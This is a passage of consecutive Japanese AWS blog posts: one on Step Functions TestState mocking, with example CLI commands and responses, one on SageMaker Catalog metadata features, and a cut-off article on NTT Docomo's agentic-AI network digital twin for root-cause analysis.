"{\"orderId\":\"12345\",\"status\":\"processed\"}", "inspectionData": { "input": "{}", "afterInputPath": "{}", "afterParameters": "{\"FunctionName\":\"process-order\"}", "result": "{\"orderId\":\"12345\",\"status\":\"processed\"}", "afterResultSelector": "{\"orderId\":\"12345\",\"status\":\"processed\"}", "afterResultPath": "{\"orderId\":\"12345\",\"status\":\"processed\"}" }, "status": "SUCCEEDED" } モックレスポンスを指定すると、TestState がそのレスポンスを AWS サービスの API モデルに照らして検証し、モックされたデータが期待されるスキーマに従っているのを確認するため、実際の AWS サービスコールを必要とせずに忠実度の高いテストを維持できます。 シナリオ 2: エラー状態をモックする エラー状態をモックしてエラー処理ロジックをテストすることも可能です。 aws stepfunctions test-state --region us-east-1 \ --definition '{ "Type": "Task", "Resource": "arn:aws:states:::lambda:invoke", "Parameters": {"FunctionName": "process-order"}, "End": true }' \ --mock '{"errorOutput":{"error":"Lambda.ServiceException","cause":"Function failed"}}' \ --inspection-level DEBUG このコマンドは Lambda サービス例外をシミュレートするので、AWS 環境内でエラーを実際に発生させることなく、ステートマシンがどのように失敗を処理するのかを検証できます。 レスポンスには、失敗した実行とエラーの詳細が表示されます。 { "error": "Lambda.ServiceException", "cause": "Function failed", "inspectionData": { "input": "{}", "afterInputPath": "{}", "afterParameters": "{\"FunctionName\":\"process-order\"}" }, "status": "FAILED" } シナリオ 3: Map ステートをテストする 2 番目の機能は、これまでサポートされていなかったステートタイプのサポートを追加します。以下は、Distributed Map ステートをテストする方法です。 aws stepfunctions test-state --region us-east-1 \ --definition '{ "Type": "Map", "ItemProcessor": { "ProcessorConfig": {"Mode": "DISTRIBUTED", "ExecutionType": "STANDARD"}, "StartAt": "ProcessItem", "States": { "ProcessItem": { "Type": "Task", "Resource": "arn:aws:states:::lambda:invoke", "Parameters": {"FunctionName": "process-item"}, "End": true } } }, "End": true }' \ --input '[{"itemId":1},{"itemId":2}]' \ --mock '{"result":"[{\"itemId\":1,\"status\":\"processed\"},{\"itemId\":2,\"status\":\"processed\"}]"}' \ --inspection-level DEBUG モック結果は、複数アイテムの処理からの完全な出力を表しています。この場合、モック配列が期待される Map ステートの出力形式と一致する必要があります。 レスポンスは、配列入力が正常に処理されたことを示しています。 { "output": "[{\"itemId\":1,\"status\":\"processed\"},{\"itemId\":2,\"status\":\"processed\"}]", "inspectionData": { "input": "[{\"itemId\":1},{\"itemId\":2}]", "afterInputPath": "[{\"itemId\":1},{\"itemId\":2}]", "afterResultSelector": "[{\"itemId\":1,\"status\":\"processed\"},{\"itemId\":2,\"status\":\"processed\"}]", "afterResultPath": "[{\"itemId\":1,\"status\":\"processed\"},{\"itemId\":2,\"status\":\"processed\"}]" }, "status": "SUCCEEDED" } シナリオ 4: Parallel ステートをテストする 複数のブランチを同時に実行する Parallel ステートも同様にテストできます。 aws stepfunctions test-state --region us-east-1 \ --definition '{ "Type": "Parallel", "Branches": [ {"StartAt": "Branch1", "States": {"Branch1": {"Type": "Pass", "End": true}}}, {"StartAt": "Branch2", "States": {"Branch2": {"Type": "Pass", "End": true}}} ], "End": true }' \ --mock '{"result":"[{\"branch1\":\"data1\"},{\"branch2\":\"data2\"}]"}' \ --inspection-level DEBUG モック結果は、ブランチごとに 1 つの要素を持つ配列である必要があります。TestState を使用することにより、モックデータ構造が実際の Parallel ステート実行で生成されるものと一致することがわかります。 レスポンスには、並列実行の結果が表示されます。 { "output": "[{\"branch1\":\"data1\"},{\"branch2\":\"data2\"}]", "inspectionData": { "input": "{}", "afterResultSelector": "[{\"branch1\":\"data1\"},{\"branch2\":\"data2\"}]", "afterResultPath": "[{\"branch1\":\"data1\"},{\"branch2\":\"data2\"}]" }, "status": "SUCCEEDED" } シナリオ 5: 完全なワークフロー内で個々のステートをテストする StateName パラメータを使用して、完全なステートマシン定義内で特定のステートをテストできます。以下は、単一のステートをテストする例ですが、完全なワークフロー定義を提供し、テストするステートを指定するのが一般的です。 aws stepfunctions test-state --region us-east-1 \ --definition '{ "Type": "Task", "Resource": "arn:aws:states:::lambda:invoke", "Parameters": {"FunctionName": "validate-order"}, "End": true }' \ --input '{"orderId":"12345","amount":99.99}' \ --mock '{"result":"{\"orderId\":\"12345\",\"validated\":true}"}' \ --inspection-level DEBUG このコマンドは、特定の入力データを使用して Lambda 呼び出しステートをテストするもので、TestState がその入力をどのように処理し、ステート実行を通じて変換するのかを示します。 レスポンスには、入力の処理と検証の詳細が表示されます。 { "output": "{\"orderId\":\"12345\",\"validated\":true}", "inspectionData": { "input": "{\"orderId\":\"12345\",\"amount\":99.99}", "afterInputPath": "{\"orderId\":\"12345\",\"amount\":99.99}", "afterParameters": "{\"FunctionName\":\"validate-order\"}", "result": "{\"orderId\":\"12345\",\"validated\":true}", "afterResultSelector": "{\"orderId\":\"12345\",\"validated\":true}", "afterResultPath": "{\"orderId\":\"12345\",\"validated\":true}" }, "status": "SUCCEEDED" } これらの機能強化は、使い慣れたローカル開発エクスペリエンスを Step Functions ワークフローに取り入れるため、変更を AWS アカウントにデプロイする前にそれらに関するフィードバックを即座に得ることができます。自動テストスイートを作成し、クラウド実行と同じ信頼性レベルですべての Step Functions 特徴量を検証できるため、デプロイ時にワークフローが期待どおりに動作するという自信が得られます。 知っておきたいこと 留意点は以下のとおりです。 可用性 – 強化された TestState 機能は、Step Functions がサポートされているすべての AWS リージョン でご利用いただけます。 料金 – TestState API コールは AWS Step Functions に含まれており、追加の料金はかかりません。 フレームワーク互換性 – TestState は HTTP リクエストを行うことができるすべてのテストフレームワーク (Jest、pytest、JUnit など) で動作します。デプロイ前に、継続的インテグレーションと継続的デリバリー (CI/CD) パイプラインでワークフローを自動的に検証するテストスイートを作成できます。 特徴量サポート – 強化された TestState は、Distributed Map ステート、Parallel ステート、エラー処理、JSONATA 式など、すべての Step Functions 特徴量をサポートします。 ドキュメント – さまざまな構成に対するオプションの詳細については TestState ドキュメント 、更新されたリクエストおよびレスポンスモデルについては API リファレンス を参照してください。 TestState を開発ワークフローに統合して、強化されたローカルテストを今すぐ始めましょう。 ハッピービルディング! –&nbsp; Donnie 原文は こちら です。

Amazon SageMaker Catalog は Amazon SageMaker に組み込まれました。これにより、データを収集して整理し、ユーザーが理解する必要のあるビジネスコンテキストを把握しやすくなります。 AWS Glue と Amazon Redshift によって生成されたアセットを自動的に文書化し、 Amazon Quick Sight 、 Amazon Simple Storage Service (Amazon S3) バケット、 Amazon S3 Tables と AWS Glue データカタログ (GDC) に 直接接続します 。 数回クリックするだけで、ビジネス名 (アセットとスキーマ)、説明 (アセットとスキーマ)、Read me、用語集 (アセットとスキーマ)、メタデータフォームを追加または更新することで、必要なビジネスメタデータを含むデータインベントリアセットをキュレートできます。また、 AI が生成した提案 を作成したり、 説明を確認して改良したり、充実したアセットのメタデータをカタログに直接発行 したりすることもできます。これにより、手作業による文書化作業が減り、メタデータの一貫性が向上し、組織全体でアセットをすばやく見つけることができます。 2025 年 11 月 19 日より、Amazon SageMaker Catalog メタデータの新機能を使用して、ビジネスメタデータと検索を改善できます。 列レベルのメタデータフォームと豊富な説明 – カスタムメタデータフォームを作成して、ビジネス固有の情報を個々の列に直接取り込むことができます。列にはマークダウン対応のリッチテキスト記述もサポートされており、包括的なデータの文書化やビジネスコンテキストを作成できます。 アセットの発行に用語集のメタデータルールを適用する – 用語集の用語にはメタデータ適用ルールを使用できます。つまり、データ作成者はアセットを発行する際に承認されたビジネスボキャブラリーを使用する必要があります。メタデータの実践を標準化することで、組織はコンプライアンスを強化し、監査準備を強化し、アクセスワークフローを合理化して効率と管理を強化できます。 これらの新しい SageMaker Catalog メタデータ機能により、一貫したデータ分類が可能になり、組織カタログ全体で見つけやすくなります。それぞれの機能についてより詳しく見ていきましょう。 列レベルのメタデータフォームと豊富な説明 カスタムのメタデータフォームとリッチテキストによる説明を列レベルで使用できるようになり、既存のキュレーション機能を拡張して、ビジネス名、説明、用語集の用語分類を絞り込むことができるようになりました。カスタムメタデータのフォームフィールド値とリッチテキストコンテンツはリアルタイムでインデックス化され、検索ですぐに見つけることができます。 列レベルのメタデータを編集するには、プロジェクトで使用されているカタログアセットのスキーマを選択し、各列の [View/Edit] (表示/編集) アクションを選択します。 いずれかの列をアセット所有者として選択すると、カスタムのキーと値のメタデータフォームとマークダウンの説明を定義して、詳細な列ドキュメントを提供できます。 組織のデータアナリストは、既存の列名、説明、用語集に加えて、カスタムフォームフィールド値とリッチテキストコンテンツを使用して検索できるようになりました。 アセットを発行する際に用語集のメタデータルールを適用 発行ワークフロー中に、データアセットの必須用語要件を定義できます。データ作成者は、発行前に組織の用語集で承認されたビジネス用語を使用してアセットを分類する必要があります。これにより、一貫したメタデータ標準が促進され、データを見つけやすくなります。適用ルールにより、必要な用語集が適用されていることを確認し、適切なビジネスコンテキストなしにアセットが発行されるのを防ぐことができます。 用語集の新しいメタデータルールを有効にするには、 [Govern] (管理) メニューの [Domain Management] (ドメイン管理) セクションのドメイン単位で [Add] ()追加 を選択します。 これで、ルールの要件のタイプとして、 メタデータフォーム または 用語集の関連付け を選択できます。 用語集の関連付け を選択すると、ルールごとに必要な用語集用語を 5 つまで選択できます。 必要な用語集を追加せずにアセットを発行しようとすると、用語集ルールを適用するように求めるエラーメッセージが表示されます。 メタデータを標準化し、データスキーマをビジネス言語に合わせることで、データガバナンスが強化され、検索の関連性が向上し、組織が公開データをよりよく理解し、信頼できるようになります。 AWS コマンドラインインターフェイス (AWS CLI) と AWS SDK を使用してこれらの特徴量を使用できます。詳細については、Amazon SageMaker Unified Studio ユーザーガイドの「 Amazon SageMaker Unified Studio データカタログ 」をご覧ください。 今すぐご利用いただけます 新しいメタデータ機能は、Amazon SageMaker Catalog が利用できる AWS リージョンでご利用いただけるようになりました。 ぜひお試しいただき、 AWS re:Post for Amazon SageMaker Catalog 宛てに、または通常の AWS サポートの連絡先を通じて、フィードバックをお寄せください。 – Channy 原文は こちら です。

本記事は 2025 年 8 月 18 日に公開された Beyond Correlation: Finding Root-Causes using a network digital twin graph and agentic AI を翻訳したものです。翻訳はソリューションアーキテクトの宮崎友貴が翻訳しました。 本稿では、NTT ドコモの通信ネットワークの運用の自動化・可視化部門の責任者である前島一夫氏と、同社通信ネットワークサービス監視・可視化担当の DevOps チームのマネージャー兼技術リーダーである今井識氏について取り上げます。両氏は AWS と提携し、グラフデータを活用した Network Digital Twin を実現する AWS ソリューションの MVP ( Minimum Viable Product ) 検証を行いました。 複雑なネットワーク障害が発生すると相関関係のある複数のアラームを精査する必要がありますが、これらのアラームは障害の実際の問題ではなく、大抵は症状を示しており、根本原因の特定には何時間もの調査を必要とすることがあります。根本原因分析（Root-cause analysis: RCA）システムは、多くの場合、定義されたルール、静的な閾値、事前定義されたパターンに基づいて作られており、全てのケースには対応しきれていません。ネットワークレベルの障害やサービスレベルの低下をトラブルシューティングする際に、これらの厳密な定義によるルールセットでは、連鎖的な障害や複雑な相互依存関係に適応できていない場合があります。 本稿では、グラフと Agentic AI を用いた Network Digital Twin を実現する AWS ソリューションアーキテクチャをご紹介します。また、AWS 上で Agentic AI を活用したグラフベースの RCA を実現する 4 つの Runbook デザインパターンをご紹介します。最後のセクションでは、4 つのうちの最初の Runbook デザインパターンを NTT ドコモが実際の商用ネットワークで検証された事例 をご紹介します。この検証では、トランスポートネットワークおよび無線アクセスネットワークにおける複雑な障害ケースにおいて、15 秒 の MTTD (平均検知時間) という短時間での被疑箇所特定を実現しました。 根本原因分析 ( RCA ) における課題 通信分野における RCA とは、 3rd Generation Partnership Project (3GPP) では「複数のエラーの原因となる障害を特定する体系的なプロセス」、 GSM Association (GSMA) では「単に症状に対処するのではなく、根本原因を特定して対処するための構造化された手法」と定義されています。通信分野における RCA は、数十年にわたり、主にアラーム、主要業績評価指標（KPI）、ログ、その他のテレメトリの関係性を導き出し、そこから得られた特徴量を 機械学習 （ML）およびディープラーニング（DL）パイプラインに投入することで実現されてきました。 今日の実際の現場では、障害の特定には依然として定義済みの閾値と相関ベースの経験則に基づく問題解決アプローチであるヒューリスティックが主に利用されており、多くの場合、機械学習やディープラーニングの技術が補完的に用いられています。しかし、これらのアプローチは、複数のドメインエキスパートが複雑な状況を回避しながら真の RCA に到達するのに時間を要するプロセスが発生し、根本原因の特定にかかる時間が平均して数時間程になることが多く、現代のネットワークのオペレーションには不十分です。 誤った RCA は、実際の根本原因ではない部分への対処に人員が割り当てられてしまうといった 現場のオペレータによる介入 が要因の 1 つです。 相関関係から因果関係へ NTT ドコモとの、無線アクセスネットワーク（RAN）およびトランスポートネットワークにおける RCA に関する協業、および世界中のお客様やパートナーとの協業を通じて、根本原因分析（Root Cause Analysis）の取り組みを 再考 し、単なる相関関係ではなく真の因果関係を捉えることに着目しました。私たちのアプローチは、「相関は因果関係を示唆しない」という既知の 統計原理 に基づいています。相関関係は 2 つの変数がどれだけ強く連動しているかを測定するのに対し、因果関係は一方の変数の変化がもう一方の変数の変化にどれだけ影響を与えるかを示します。 では、グラフデータ化された Network Digital Twin とは一体何でしょうか。ネットワークのリアルタイムでの鏡像、つまり現状を示すだけでなく、次に何が起こるかを予測するシミュレーションと捉えてみてください。Network Digital Twin によってネットワークの因果関係を把握することで、ネットワークの将来の振る舞いを予測してシミュレーションできるということです。これは、ネットワークの挙動を理解する Agentic AI による動作フローを通じて実行される、異常検知、グラフベースの予測、生成 AI により実現されています。その仕組みを簡単に説明します： 全てのネットワークセグメントとレイヤーに跨った複数のデータソースから、ネットワークの依存関係（ノード同士の関係性）と、発生中のアラームと、KPI（トラフィックデータなど）を取り込み、分析します。 それらをネットワークナレッジレイヤーと呼ばれるトポロジーを考慮したグラフデータ構造に変換します。 Agentic AI レイヤーで、入力されたネットワークに関するデータを、グラフ分析アルゴリズムやグラフ上のディープラーニングを組み合わせて分析し、データに基づいて 1 つまたは複数の専用の RCA Runbookを起動します。 次のセクションでは、ネットワークナレッジ、Agents / Agentic AI フロー、RCA Runbook という 3 つの中核となる要素について詳しく説明します。 ソリューションアーキテクチャ概要：ネットワークナレッジ、Agentic AI、Runbook デザインパターン RCA 向けグラフソリューションアーキテクチャとしての Network Digital Twin は、NTT ドコモの商用ネットワークである RAN およびトランスポート網において検証済みであり、また、欧州の顧客向けに変更管理やサービス影響評価などのユースケースにも導入されています。ネットワークグラフ上に Agentic AI を搭載した Runbook は、現在 AWS パートナーと共同で世界中のさまざまな顧客向けに実装されているデザインパターンであり、RAN、伝送網、5G Core、トランスポート、サービスレイヤーなど、様々なネットワーク領域を跨った RCA を対象としています。 ネットワークナレッジレイヤー ネットワークナレッジレイヤーは、ネットワーク関連のすべてのデータや情報を統合し、クエリ可能な構造化形式に変換し、分析、機械学習、深層学習、そしてエージェントレイヤーでの意思決定を可能にするためのデータ基盤です。これは専用のデータ処理パイプラインによって構築されます。マニュアル手順書とネットワーク設計に関するドキュメントは検索可能な形式に変換されて Amazon S3 Vectors に保存され、ネットワークトポロジーデータとネットワークのインターフェース情報から抽出された依存関係（ノード間の接続情報）は Amazon Neptune グラフデータベースに保存されます。パフォーマンスメトリクスは Amazon Timestream にストリームされ、インシデントチケットはアラームデータと共に Amazon DynamoDB に格納されます。アラーム、KPI、チケット管理/変更管理に関する履歴データや古い情報は Amazon S3 に保存されます。 AWS Glue と AWS Lambda 関数は、バックグラウンドで動作し、これら全てのデータを処理し格納先へ送信します。その結果、リアルタイムで更新され続けるネットワークナレッジが得られ、エージェントの根本原因分析用のデータ基盤となります。次の図は、ネットワークナレッジレイヤーがこれらの AWS サービスを統合して、RCA オペレーションのための統合データ基盤を構成するアーキテクチャを示しています。 図 1. ネットワークナレッジレイヤー HLD アーキテクチャ概要と RCA Agentic AI レイヤー 前述のとおり、ネットワークナレッジは、Amazon Neptune が動的に変化するネットワークトポロジーを保持する基盤であり、アラーム、KPI、インシデント履歴、テレメトリストリームから得られるリアルタイムデータにより強化されています。本セクションで説明する RCA ワークフローは、アラームの発生パターン、KPI の異常検知や予測値との乖離の検知、ノードの重要度または障害伝播の可能性を表すグラフデータのスコアリングなどの様々なトリガー条件に基づいて起動されます（詳細は後述の各 Runbook で説明します）。これらの起動条件が満たされると、1 つ以上の RCA Runbook が実行され、診断および切り分け処理が実行されます。 ソリューションの中核を担うのは、 Strands Agents で構成される Agentic AI レイヤーであり、Strands Agents のライフサイクル管理は Amazon Bedrock AgentCore によって行われます。各エージェントは、異常相関、予測値からの乖離の検出、依存関係を表すトポロジーグラフの構築、インシデントチケット管理などの各タスクを実行します。これらのエージェントは、RCA オペレーターが受信したデータに基づいて行った推論に応じて、 Swarm ワークフローまたは DAG でトリガーされます。次の表は、必要なコアとなるエージェントを示しています。 エージェント エージェントの行うタスクの定義 RCA operator 各トリガー (アラームの大量発生、異常検知、予測と実績値の乖離の検知など) を検出し、対応する Runbook 1 ～ 4 を選択し、起動するエージェントを指定します。各ステップごとの処理を策定し、各エージェントに実行時の引数 (隣接ノードのホップ数、時間幅、閾値など) を渡し、実行結果を共有ダッシュボードに記録します。その後、新しい障害データやオペレーターからのフィードバックを得られる度に処理内容を更新します。 Known-incident matcher ナレッジベースから一致するインシデントを分析し、IKB （インシデントナレッジベース）で発生アラームや異常値、予測傾向、パターンを検索し、ベクトル類似性を算出し、信頼度の閾値による評価をして、一致したインシデントのケース ID や信頼度を返します。 Dependency graph builder アラーム発生ノードのサブグラフを抽出します。具体的には、Amazon Neptune に対して、Gremlin または SPARQL を使用して node_ID 周辺の接続関係を表すグラフデータをクエリし、最大 N ホップ先のノードまで拡張して取得します。結果となるサブグラフがグラフ追跡アルゴリズムの実行に十分になるまで反復処理を行います。 Root-cause finder Neptune Analytics の組み込みのグラフ分析アルゴリズムを呼び出すロジックを策定し、ネットワークノードに分析結果として出力されるスコアを付けます。具体的には、入力された特定のサブグラフ ID に対して、グラフのサイズや密度に基づいて Neptune Analytics の分解アルゴリズムやクラスタリングアルゴリズムやランク付けアルゴリズムを選択し、あるいは組み合わせて実行し、上位 K（デフォルトは10）の &lt;node_ID, score (分析結果となるスコア)&gt; を返します。 Anomaly correlator node_ID とルックバックウィンドウ (例：15 分) の KPI を使用して&nbsp; Amazon SageMaker &nbsp;異常検知エンドポイントを呼び出し、返り値である anomaly_score (異常値) が閾値より大きいサンプルにフラグを付け、それらを発生中のアラームとマージするといった、統計的戦略を実行します。 Forecast-drift monitor 各 KPI について、期間 H における ST-GNN* 予測エンドポイントを照会し、残差 r = |実際値 – 予測値| を計算します。次に、残差 r &gt; σ × band_factor の場合に偏差としてフラグを立てます。ここでの σ は、KPI とタイムスタンプの予測の標準偏差です。ここでの band_factor は、ユーザー定義の乗数です（例：95 % バンドの場合は、1.96）。最後に、フラグが立てられた偏差を同時発生しているアラーム群とマージします。 Recent-events collector それぞれの被疑ノードについて、最後の T 分間のアラームまたは KPI を取得し、目標イベント密度が達成されるか T_max （時間）に達するまで T を拡大または縮小し、時系列のイベントリストを出力します。 MoP analyzer 装置の種類、ベンダー、またはソフトウェアバージョンを検出し、障害情報からベクトル検索を行い、最も関連性の高い切り分けのためのコマンドやその説明を出力します。 Incident-report builder 被疑としてランク付けされたノード、タイムライン、MoP の抜粋を組み合わせ、構造化されたインシデントログを作成し、影響度の経験則からチケットまたはRCAレポートを作成します。チケット発行の場合は、チケット作成 API を呼び出して作成し、作成されたチケット ID を記録し、#noc-urgent でタグ付けしてアラートを通知します。 Ticket manager インシデントチケットのステータスフラグが「ticket」の場合、チケットが作成または更新され、チャネル名に通知が投稿され、現在のチケットと過去のチケットに関するチャットが提供され、そのリンクが共有ダッシュボードに保存されます。 Operator feedback recorder ネットワークオペレーションセンター (NOC) からの Agentic AI が作成したレポートに対するフィードバックを記録し、チケット ID、決定事項、およびオペレータのメモを IKB に書き足します。これによって AI エージェントの継続的な学習が可能になります。 Guardrails policy advisor 個人を特定できる情報 (PII) は含まないこと、承認されたファームウェアであること、変更オペレーションを実行可能な時間帯でのコマンドであること、などのガードレールを適用し、SLA (影響ユーザー数が 50 人を超える場合、または、平均復旧時間 (MTTR) が 30 分以下の場合は、10 分でエスカレーションを行う、など) をチェックし、それらのガードレールに違反する Procedure-Finder アクションをブロックし手順として参照されることを回避します。違反があった場合は、インシデントを非準拠としてマークし、チケットを P1-URGENT にアップグレードして、NOC チームに警告します。 OpsMemory エージェントの共有レポジトリには、各エージェントからの中間出力 (生データへのリンク、サブグラフの JSON データ、ランク付けされたノード、異常フラグ、MoP スニペット、チケット ID など) が保持、記憶されるため、各エージェントはそれらを共通的に読み取ることができます。エントリのバージョン管理や、インシデントのクローズ時にそれらのデータをクリアすることも可能です。 Other agents 通信事業者やパートナーによっては、ネットワークセグメントごとのエージェントフローを強化するために、RAN (無線アクセス ネットワーク) エキスパートエージェントや IMS セッションエージェントなど、その他の専用エージェントを追加することもあります。 *ST-GNN ( Spatial-Temporal GNN ): 空間的（Spatial）および時間的（Temporal）な依存関係を同時にモデル化するために設計されたグラフニューラルネットワーク（GNN）の一種 次の図は、4 つの Runbook にわたる RCA 用 Agentic AI の HLD アーキテクチャを示しています。 図 2. ソリューション概要 Runbook 1 ベースライン : グラフ分析と Agentic AI アラームは、インシデント発生時またはスケジュールに基づいて、ライブストリームとして取り込まれます。アラームが発生すると、根本原因分析用に構築された専用の AWS Lambda 関数がトリガーされます。この関数は、受信したアラームデータから影響を受けるノード ID を抽出します。次に、 Amazon Neptune から関連するネットワークのサブグラフを取得します。これらのサブグラフには、ネットワークノード間のすべての依存関係が含まれます。 Amazon Neptune Analytics の組み込みのグラフ分析アルゴリズムを使って、サブグラフ構造を分解し、関連するノードをグループ化します。グラフ構造に対する RCA 用に、これらの Neptune Analytics アルゴリズムの具体的かつ実行可能なステップを定義しました。例えば、このステップには、1) WCC (弱連結コンポーネント) または SCC (強連結コンポーネント) によるグラフの分解、2) ラベル伝播によるグラフのクラスタリング、3) 中心性アルゴリズムによるネットワークノードのランク付けが含まれます。このアプローチについては、コードサンプルを含む続編のブログで詳細を説明します。これらのアルゴリズムは、アラームノードを含むネットワークサブグラフ内の構造的な重要度に基づいて、各ノードをランク付けします。 このランク付けに従い、エージェントは各候補となるノードの直近発生したアラームシーケンスを分析します。分析においては、過去数分（ 2 ～ 5 分など）から開始し、アラームが少ない場合時間幅を拡大していきます。関連する手順書（MoP）を参照し、アラームの詳細と、障害が発生している各ノードに適した、障害の切り分けのためのコマンドを抽出します。 エージェントはこれらの要素を使用して、障害ノード、アラームパターン、隣接ノード、インシデントの説明、推奨アクションを含むレコードを作成します。 インシデントチケットを作成または更新し、レコード、完全なアラームタイムライン、および抽出した MoP の抜粋をチケットに記載します。チケットが開かれていない場合、エントリはRCAレポートとして表示され、NOCチームがレビューします。 NOC チームは出力されたレポートを検証または拒否することができ、そのフィードバックはエージェントの記憶メモリを通じて取得され、インシデントデータベースに記録されます。 この Runbookでは、アラームが基本的なトリガーとなり、決定論的なアプローチであるグラフ分析によって障害領域が特定され、Agentic AI によって元のスコアが継続的なフィードバックループによって実用的なインシデントレコードに更新されていきます。次の図は、ソリューションのアーキテクチャ図を示しています。 図 3. Runbook 1: グラフ分析と Agentic AI による RCA Runbook 2: エージェントによる既知のアラームパターンマッチ アラームは、Runbook_1 と同様に、継続的実行、オンデマンド実行、または定期実行によって受信します。個々のアラームは RCA 用の Lambda 関数を直接呼び出すことはありません。代わりに、受信ストリーム内のスパイクや異常なパターンを検出するようなアラーム機能に基づくトリガー方式を使用します。これには、アラーム数の監視、ベースラインからの Z スコアの偏差、アラーム重要度のクラスタリング、連鎖的な障害ケース（基地局に障害が発生し、影響を受けるすべての装置でアラームが発行される場合など）が含まれます。このトリガーが発動すると、RCA 固有の Lambda 関数が呼び出され、Agentic AI ワークフローが起動されます。その後、以下の手順が実行されます。 最初のステップは、インシデントナレッジベースです。受信アラームのパターンまたはシーケンスが過去のインシデントと高確率で一致する場合、エージェントはチケットを更新またはオープンし、定義済みの対処方法を適用してフローを終了します。 一致するものがない場合、エージェントは グラフ駆動型の追加分析 を実行します。 アラームが発生しているノード ID を抽出し、その依存関係にある隣接ノード（最大 N ホップ先）まで展開し、Runbook_1 で行われたのと同様に、障害発生中のサブグラフを抽出します。 より詳細な分析のために、Neptune Analytics を使用して、分解、クラスタリング、ランク付けアルゴリズムを実行し、出力されたスコアを収集し、上位 10 のノードを抽出します。 エージェントは各ノードについて、直近のアラーム履歴（通常、2 分または 5 分などの時間範囲ですが、データのスパース性により長い期間にするべき場合があります）を取得し、関連する MoP （手順書）を参照し、障害ノード、アラームのパターン、隣接ノード、インシデントの説明、推奨アクションで構成される構造化レコードを作成します。 レコード、過去の類似ケースへのリンク、抽出した MoP スニペットを記載して、新しいチケットを作成します。もしくは既存のチケットに追記して更新します。 エージェントは、NOC からのフィードバックを記憶メモリから取得し、インシデントナレッジベースに記録します。 次の図は、Runbook_2 ソリューション アーキテクチャの例です。 図 4. Runbook 2: エージェントによる既知のアラームパターンマッチ Runbook 3 複数のシグナルを融合した異常検知 RCA（弱いシグナルの検出） アラームは依然として主要なシグナルですが、リアルタイムな KPI ベースの異常検知スコアによってネットワークの異常をより検知できるようになります。本 Runbook では、Agentic AI ワークフローはアラーム発生ノードと異常を示すノードの組み合わせによってトリガーされます。Runbook 2 と同様に、アラーム数の急増、アラームの重要度のクラスタリング（分類）、Z スコア偏差といったアラーム分析機能に加え、KPI 異常検知スコアも含まれています。この組み合わせアプローチにより、NOC はアラームで検知する前のような目立たない兆候 (弱いシグナル) であっても異常として検知することができます。ワークフローは次のステップを実行します。 エージェントは Runbook 2 と同様にインシデントナレッジベースにクエリを実行します。アラームシーケンスが既知のパターンと一致する場合、チケットを更新してフローを終了します。 一致しない場合、エージェントは次の処理を続行します。 アラームの特徴（アラーム数の急増、アラームの重要度のクラスタリング、Z スコアの偏差）と ネットワークの KPI に基づく異常検知スコアを取得し組み合わせます。 複数ホップ先の依存関係のある隣接ノードに展開し、障害が伝播されたサブグラフを抽出します。 Neptune Analytics を使って、分解、クラスタリング、ランク付けアルゴリズムなど、適切なアルゴリズムを選択もしくは複数のアルゴリズム組み合わせて実行します。 全てのノードにランク付けを行い、スコアの高いノードを被疑箇所として以降のステップに渡します。 被疑箇所として抽出されたノードごとに、エージェントはアラームと KPI 異常検知スコアの両方を、短いウィンドウ（2分または5分など）から開始し、必要に応じて延長しながら時系列で取得します。関連する MoP を参照し、障害ノード、アラームパターン、異常検知スコア、隣接ノード、インシデントの説明、推奨アクションを含むレコードをインシデントナレッジベースに記録します。 エージェントは、NOC チームがレビューするための RCA レポートを生成します。 NOC チームは、生成された RCA レポートの結果を承認または拒否することができ、それらのフィードバックはエージェントの記憶メモリに記録されます。 次の図は、Runbook 3 のソリューションアーキテクチャの例です。 図 5. Runbook 3: 複数のシグナルを融合した異常検知 RCA（弱いシグナルの検出） Runbook 4 予測からの乖離を検出する RCA (プロアクティブな検知) アラームは基本的なシグナルとして機能しますが、ローリング型 Attention-based Spatio-Temporal Graph Neural Network（AST-GNN）から KPI 予測値からの逸脱を示すフラグが提供されます。このモデルは、ネットワーク装置ごとにトポロジと時間パターンを統合的に学習し、各 KPI の信頼区間を含む予測を生成します。実際の KPI が予測区間から外れた場合、絶対値が正常であってもシステムは偏差フラグを立てます。適切な特徴量エンジニアリングを適用したり、他のディープラーニングモデルを予測モデルとして用いることも可能です。Agentic AI ワークフローは、アラームの特徴とKPI 予測値からの逸脱を示すフラグの付いたノードの組み合わせによってトリガーされます。アラームの特徴とは、Runbook 1~3 と同様、アラーム数の急増、アラームの重要度のクラスタリング、Z スコア偏差といったアラームの分析結果であり、これらに加えて、KPI 予測値からの逸脱を示すフラグがトリガーとして含まれます。この予測アプローチにより、NOC は潜在的な問題が顕在化する前に異常を検知することができます。ワークフローは次のステップで実行します。 エージェントは、以前の Runbook と同様に、インシデントナレッジベースを検索します。既存のインシデントと高い確率で一致するものが見つかった場合、チケットを更新し、フローを終了します。 一致するものがない場合、エージェントは以下の分析を実行します。 アラームの特徴（アラーム数の急増、アラーム重要度のクラスタリング、Z スコアの偏差）を、KPI 予測値から逸脱したノードと組み合わせます。 複数ホップ先の依存関係のある隣接ノードまで拡張し、障害が伝播されたサブグラフを抽出します。 Neptune Analytics を使用して、分解、クラスタリング、ランク付けアルゴリズムを実行します。 全てのノードに対して被疑箇所としてランク付けを行い、スコアの上位 10 ノードを抽出します。 抽出されたノードごとに、エージェントは、直近発生したアラームと KPI 残差曲線を取得します。これらの曲線は、短い期間（ 2 分や 5 分など）で取得し始め、データがまばらで不足している場合は取得期間を長くします。関連する MoP を参照し、障害ノード、アラームパターン、予測の偏差、隣接ノード、インシデントの説明、推奨アクションを含むレコードを作成します。 エージェントは、レコードを記載したインシデントチケットを作成または更新し、RCA レポートを NOC に送付し、レビューを受けます。 NOC チームは、RCA レポートから Root Cause なのか、誤検知なのか、または新しいアラーム群なのかを確認します。NOC から得られたフィードバックは、エージェントの記憶メモリに記録されるだけではなく、 IKB （インシデントナレッジベース）にも記録されるため、将来の再発時により迅速な対処を行うことができるようになります。次の図は、Runbook_4のソリューションアーキテクチャの例を示しています。 図 6. Runbook 4: 予測からの乖離を検出する RCA (プロアクティブな検知) NTT ドコモのグラフデータを活用した Network Digital Twin 株式会社 NTT ドコモは、日本全国で 8,900 万人以上の加入者にサービスを提供する通信ネットワークを運用しています。このネットワークは、決済や物流データ、その他時間的制約が厳しいデータを運ぶ、国の重要なインフラの一部となっており、障害発生時には迅速な解決が求められます。しかし、デバイスとプロトコルの増加により、障害の特定はより複雑化し、時間がかかる場合があります。 NTT ドコモの運用チームは、障害を検知し、障害箇所を特定し、1時間以内にサービスを復旧させる必要があります。この時間を逃すと、NTT ドコモは顧客の信頼を失うことになります。 NTT ドコモは、トランスポートネットワークと 4G / 5G RAN を対象とし、RCA プロセスの変革を開始しました。AWS 